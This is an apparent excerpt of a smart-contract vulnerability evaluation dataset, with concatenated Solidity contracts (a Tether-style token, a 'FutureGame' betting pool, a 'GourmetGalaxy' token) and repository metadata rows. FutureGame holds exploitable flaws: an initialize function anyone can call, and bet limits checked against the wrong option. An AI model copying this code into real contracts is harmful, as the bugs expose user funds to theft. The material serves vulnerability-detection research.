assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract TetherToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function TetherToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _from ,address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(_from, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 2,524 | 12,717 |
bd92d2883167958ecbdad03f75fa1636bebd0bb4ab5c1ace74df519b5f392034
| 19,837 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x42984e64d364f93a5d5dba84257d6368831f1b55.sol
| 4,918 | 18,044 |
pragma solidity ^0.4.24;
//
// .#########'
// .###############+
// ,####################
// `#######################+
// ;##########################
// #############################.
// ###############################,
// +##################, ###########`
// .################### .###########
// ##############, .###########+
// #############` .############`
// ###########+ ############
// ###########; ###########
// :######### #######: ####### :#########
// +######### :#######.######## #########`
// #########; ###############' #########:
// ######### #############+ '########'
// ######### ############ :#########
// ######### ########## ,#########
// ######### :######## ,#########
// ######### ,########## ,#########
// ######### ,############ :########+
// ######### .#############+ '########'
// #########: `###############' #########,
// +########+ ;#######`;####### #########
// ,######### '######` '###### :#########
// #########; .#####` '##### ##########
// ########## '###` +### :#########:
// ;#########+ ` ##########
// ##########, ###########
// ###########; ############
// +############ .############`
// ###########+ ,#############;
// `########### ;++#################
// :##########, ###################
// '###########.'###################
// +##############################
// '############################`
// .##########################
// #######################:
// ###################+
// +##############:
// :#######+`
//
//
//
// Play0x.com (The ONLY gaming platform for all ERC20 Tokens)
// * Multiple types of game platforms
// * Support all ERC20 tokens.
//
//
//
// 0xC Token (Contract address : 0x60d8234a662651e586173c17eb45ca9833a7aa6c)
// * 0xC Token is an ERC20 Token specifically for digital entertainment.
// * No ICO and private sales,fair access.
// * There will be hundreds of games using 0xC as a game token.
// * Token holders can permanently get ETH's profit sharing.
//
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function allowance(address owner, address spender) public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract FutureGame {
using SafeMath for uint256;
using SafeMath for uint128;
using SafeMath for uint32;
using SafeMath for uint8;
// Standard contract ownership transfer.
address public owner;
address private nextOwner;
//Basic Setting
address ERC20ContractAddres;
address ERC20WalletAddress;
bool IsEther = false;
bool IsInitialized = false;
uint256 BaseTimestamp = 1534377600; //2018 08 16
uint StartBetTime = 0;
uint LastBetTime = 0;
uint SettleBetTime = 0;
uint FinalAnswer;
uint LoseTokenRate;
//Options
uint256 optionOneAmount = 0;
uint256 optionTwoAmount = 0;
uint256 optionThreeAmount = 0;
uint256 optionFourAmount = 0;
uint256 optionFiveAmount = 0;
uint256 optionSixAmount = 0;
//Place Limit
uint256 optionOneLimit = 0;
uint256 optionTwoLimit = 0;
uint256 optionThreeLimit = 0;
uint256 optionFourLimit = 0;
uint256 optionFiveLimit = 0;
uint256 optionSixLimit = 0;
//Options - Address - amount
mapping(address => uint256) optionOneBet;
mapping(address => uint256) optionTwoBet;
mapping(address => uint256) optionThreeBet;
mapping(address => uint256) optionFourBet;
mapping(address => uint256) optionFiveBet;
mapping(address => uint256) optionSixBet;
uint256 feePool = 0;
//event
event BetLog(address playerAddress, uint256 amount, uint256 Option);
event OpenBet(uint AnswerOption);
//withdraw
mapping(address => uint256) EtherBalances;
mapping(address => uint256) TokenBalances;
constructor () public{
owner = msg.sender;
IsInitialized = true;
}
//Initialize the time period.
function initialize(uint256 _StartBetTime, uint256 _LastBetTime, uint256 _SettleBetTime,
uint256 _optionOneLimit, uint256 _optionTwoLimit, uint256 _optionThreeLimit,
uint256 _optionFourLimit, uint256 _optionFiveLimit, uint256 _optionSixLimit,
uint256 _LoseTokenRate, address _ERC20Contract, address _ERC20Wallet,
bool _IsEther) public {
require(_LastBetTime > _StartBetTime);
require(_SettleBetTime > _LastBetTime);
// require(OpenBetTime == 0);
StartBetTime = _StartBetTime;
LastBetTime = _LastBetTime;
SettleBetTime = _SettleBetTime;
LoseTokenRate = _LoseTokenRate;
//Limit Setting
optionOneLimit = _optionOneLimit;
optionTwoLimit = _optionTwoLimit;
optionThreeLimit = _optionThreeLimit;
optionFourLimit = _optionFourLimit;
optionFiveLimit = _optionFiveLimit;
optionSixLimit = _optionSixLimit;
ERC20ContractAddres = _ERC20Contract;
ERC20WalletAddress = _ERC20Wallet;
IsEther = _IsEther;
IsInitialized = true;
}
// Standard modifier on methods invokable only by contract owner.
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
// Standard contract ownership transfer implementation,
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
//Payable without commit is not accepted.
function () public payable
{
revert();
}
//Place by Ether
function PlaceBet(uint optionNumber) public payable
{
require(LastBetTime > now);
//Make sure initialized
require(IsInitialized == true,'This is not opened yet.');
require(IsEther == true, 'This is a Token Game');
require(msg.value >= 0.01 ether);
uint256 _amount = msg.value;
if(optionNumber == 1){
require(optionOneAmount.add(_amount) <= optionOneLimit);
optionOneBet[msg.sender] = optionOneBet[msg.sender].add(_amount);
optionOneAmount = optionOneAmount.add(_amount);
}else if(optionNumber == 2){
require(optionTwoAmount.add(_amount) <= optionTwoLimit);
optionTwoBet[msg.sender] = optionTwoBet[msg.sender].add(_amount);
optionTwoAmount = optionTwoAmount.add(_amount);
}else if(optionNumber == 3){
require(optionThreeAmount.add(_amount) <= optionThreeLimit);
optionThreeBet[msg.sender] = optionThreeBet[msg.sender].add(_amount);
optionThreeAmount = optionThreeAmount.add(_amount);
}else if(optionNumber == 4){
require(optionFourAmount.add(_amount) <= optionFourLimit);
optionFourBet[msg.sender] = optionFourBet[msg.sender].add(_amount);
optionFourAmount = optionFourAmount.add(_amount);
}else if(optionNumber == 5){
require(optionFiveAmount.add(_amount) <= optionFiveLimit);
optionFiveBet[msg.sender] = optionFiveBet[msg.sender].add(_amount);
optionFiveAmount = optionFiveAmount.add(_amount);
}else if(optionNumber == 6){
require(optionSixAmount.add(_amount) <= optionSixLimit);
optionSixBet[msg.sender] = optionSixBet[msg.sender].add(_amount);
optionSixAmount = optionSixAmount.add(_amount);
}
feePool = feePool .add(_amount.mul(20).div(1000));
emit BetLog(msg.sender, _amount, optionNumber);
}
//Place by Token
function PlaceTokenBet(address player, uint optionNumber, uint _amount) public onlyOwner
{
require(LastBetTime > now);
require(IsInitialized == true,'This is not opened yet.');
require(IsEther == false, 'This is not an Ether Game');
if(optionNumber == 1){
require(optionOneAmount.add(_amount) <= optionOneLimit);
optionOneBet[player] = optionOneBet[player].add(_amount);
optionOneAmount = optionOneAmount.add(_amount);
}else if(optionNumber == 2){
require(optionTwoAmount.add(_amount) <= optionTwoLimit);
optionTwoBet[player] = optionTwoBet[player].add(_amount);
optionTwoAmount = optionTwoAmount.add(_amount);
}else if(optionNumber == 3){
require(optionTwoAmount.add(_amount) <= optionTwoLimit);
optionThreeBet[player] = optionThreeBet[player].add(_amount);
optionThreeAmount = optionThreeAmount.add(_amount);
}else if(optionNumber == 4){
require(optionTwoAmount.add(_amount) <= optionTwoLimit);
optionFourBet[player] = optionFourBet[player].add(_amount);
optionFourAmount = optionFourAmount.add(_amount);
}else if(optionNumber == 5){
require(optionTwoAmount.add(_amount) <= optionTwoLimit);
optionFiveBet[player] = optionFiveBet[player].add(_amount);
optionFiveAmount = optionFiveAmount.add(_amount);
}else if(optionNumber == 6){
require(optionTwoAmount.add(_amount) <= optionTwoLimit);
optionSixBet[player] = optionSixBet[player].add(_amount);
optionSixAmount = optionSixAmount.add(_amount);
}
emit BetLog(msg.sender, _amount, optionNumber);
}
//Set Answer
function FinishGame(uint256 _finalOption) public onlyOwner
{
require(now > SettleBetTime);
FinalAnswer = _finalOption;
}
//Get contract information.
function getGameInfo() public view returns(bool _IsInitialized, bool _IsEther,
uint256 _optionOneAmount, uint256 _optionTwoAmount,
uint256 _optionThreeAmount, uint256 _optionFourAmount, uint256 _optionFiveAmount,
uint256 _optionSixAmount,
uint256 _StartBetTime, uint256 _LastBetTime,
uint256 _SettleBetTime, uint256 _FinalAnswer, uint256 _LoseTokenRate)
{
return(IsInitialized, IsEther, optionOneAmount, optionTwoAmount, optionThreeAmount, optionFourAmount,
optionFiveAmount, optionSixAmount, StartBetTime, LastBetTime, SettleBetTime, FinalAnswer, LoseTokenRate);
}
function getOptionLimit() public view returns(uint256 _optionOneLimit, uint256 _optionTwoLimit, uint256 _optionThreeLimit,
uint256 _optionFourLimit, uint256 _optionFiveLimit, uint256 _optionSixLimit)
{
return(optionOneLimit, optionTwoLimit, optionThreeLimit, optionFourLimit,optionFiveLimit, optionSixLimit);
}
//Purge the time in the timestamp.
function DateConverter(uint256 ts) public view returns(uint256 currentDayWithoutTime){
uint256 dayInterval = ts.sub(BaseTimestamp);
uint256 dayCount = dayInterval.div(86400);
return BaseTimestamp.add(dayCount.mul(86400));
}
//Get count of days that contract started
function getDateInterval() public view returns(uint256 intervalDays){
uint256 intervalTs = DateConverter(now).sub(BaseTimestamp);
intervalDays = intervalTs.div(86400).sub(1);
}
function checkVault() public view returns(uint myReward)
{
uint256 myAward = 0;
uint256 realReward =
optionOneAmount.add(optionTwoAmount).add(optionThreeAmount)
.add(optionFourAmount).add(optionFiveAmount).add(optionSixAmount);
uint256 myshare = 0;
realReward = realReward.mul(980).div(1000);
if(FinalAnswer == 1){
myshare = optionOneBet[msg.sender].mul(100).div(optionOneAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 2){
myshare = optionTwoBet[msg.sender].mul(100).div(optionTwoAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 3){
myshare = optionThreeBet[msg.sender].mul(100).div(optionThreeAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 4){
myshare = optionFourBet[msg.sender].mul(100).div(optionFourAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 5){
myshare = optionFiveBet[msg.sender].mul(100).div(optionFiveAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 6){
myshare = optionSixBet[msg.sender].mul(100).div(optionSixAmount) ;
myAward = myshare.mul(realReward).div(100);
}
return myAward;
}
function getVaultInfo() public view returns(uint256 _myReward, uint256 _totalBets, uint256 _realReward, uint256 _myShare)
{
uint256 myAward = 0;
uint256 totalBets =
optionOneAmount.add(optionTwoAmount).add(optionThreeAmount)
.add(optionFourAmount).add(optionFiveAmount).add(optionSixAmount);
uint256 myshare = 0;
uint256 realReward = totalBets.mul(980).div(1000);
if(FinalAnswer == 1){
myshare = optionOneBet[msg.sender].mul(100).div(optionOneAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 2){
myshare = optionTwoBet[msg.sender].mul(100).div(optionTwoAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 3){
myshare = optionThreeBet[msg.sender].mul(100).div(optionThreeAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 4){
myshare = optionFourBet[msg.sender].mul(100).div(optionFourAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 5){
myshare = optionFiveBet[msg.sender].mul(100).div(optionFiveAmount) ;
myAward = myshare.mul(realReward).div(100);
}else if(FinalAnswer == 6){
myshare = optionSixBet[msg.sender].mul(100).div(optionSixAmount) ;
myAward = myshare.mul(realReward).div(100);
}
return (myAward, totalBets, realReward, myshare);
}
function getBet(uint number) public view returns(uint result)
{
if(number == 1){
result = optionOneBet[msg.sender];
}else if(number == 2){
result = optionTwoBet[msg.sender];
}else if(number == 3){
result = optionThreeBet[msg.sender];
}else if(number == 4){
result = optionFourBet[msg.sender];
}else if(number == 5){
result = optionFiveBet[msg.sender];
}else if(number == 6){
result = optionSixBet[msg.sender];
}
}
//Get your profit back.
function withdraw() public
{
require(FinalAnswer != 0);
uint256 myReward = checkVault();
if(myReward ==0 && IsEther == true)
{
uint256 totalBet = optionOneBet[msg.sender]
.add(optionTwoBet[msg.sender]).add(optionThreeBet[msg.sender])
.add(optionFourBet[msg.sender]).add(optionFiveBet[msg.sender])
.add(optionSixBet[msg.sender]);
uint256 TokenEarned = totalBet.mul(LoseTokenRate);
ERC20(ERC20ContractAddres).transferFrom(ERC20WalletAddress, msg.sender, TokenEarned);
}
optionOneBet[msg.sender] = 0;
optionTwoBet[msg.sender] = 0;
optionThreeBet[msg.sender] = 0;
optionFourBet[msg.sender] = 0;
optionFiveBet[msg.sender] = 0;
optionSixBet[msg.sender] = 0;
if(IsEther)
{
msg.sender.transfer(myReward);
}
else
{
ERC20(ERC20ContractAddres).transferFrom(ERC20WalletAddress, msg.sender, myReward);
}
}
//Take service fee back.
function getServiceFeeBack() public onlyOwner
{
uint amount = feePool;
feePool = 0;
msg.sender.transfer(amount);
}
}
| 180,238 | 12,718 |
16a1e33790934cc071375ac261d4016eb65fbe3538b37516292cc81b8a3a8d9d
| 29,389 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/8186_9446_0x4f5fa8f2d12e5eb780f6082dd656c565c48e0f24.sol
| 3,846 | 14,909 |
pragma solidity 0.5.8;
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
mapping (address => bool) public farmAddresses;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
modifier onlyFarmContract() {
require(isOwner() || isFarmContract(), 'Ownable: caller is not the farm or owner');
_;
}
function isOwner() private view returns (bool) {
return _owner == _msgSender();
}
function isFarmContract() public view returns (bool) {
return farmAddresses[_msgSender()];
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),
'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function setFarmAddress(address _farmAddress, bool _status) public onlyOwner {
require(_farmAddress != address(0),
'Ownable: farm address is the zero address');
farmAddresses[_farmAddress] = _status;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call.value(amount)('');
require(success,
'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint totalSupply, address tokenContractAddress) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_totalSupply = totalSupply;
_balances[tokenContractAddress] = _totalSupply;
emit Transfer(address(0), tokenContractAddress, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount,
'ERC20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue,
'ERC20: decreased allowance below zero'));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount,
'ERC20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: burn from the zero address');
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount,
'ERC20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal {}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract GourmetGalaxy is ERC20('GourmetGalaxy', 'GUM', 20e6 * 1e18, address(this)), Ownable {
uint private constant adviserAllocation = 1e6 * 1e18;
uint private constant communityAllocation = 5e4 * 1e18;
uint private constant farmingAllocation = 9950000 * 1e18;
uint private constant marketingAllocation = 5e5 * 1e18;
uint private constant publicSaleAllocation = 5e5 * 1e18;
uint private constant privateSaleAllocation = 5e6 * 1e18;
uint private constant teamAllocation = 3e6 * 1e18;
uint private communityReleased = 0;
uint private adviserReleased = 0;
uint private farmingReleased = 0;
uint private marketingReleased = 125000 * 1e18; // TGE
uint private privateSaleReleased = 2e6 * 1e18;
uint private teamReleased = 0;
uint private lastCommunityReleased = now + 30 days;
uint private lastAdviserReleased = now + 30 days;
uint private lastMarketingReleased = now + 30 days;
uint private lastPrivateSaleReleased = now + 30 days;
uint private lastTeamReleased = now + 30 days;
uint private constant amountEachAdviserRelease = 50000 * 1e18;
uint private constant amountEachCommunityRelease = 2500 * 1e18;
uint private constant amountEachMarketingRelease = 125000 * 1e18;
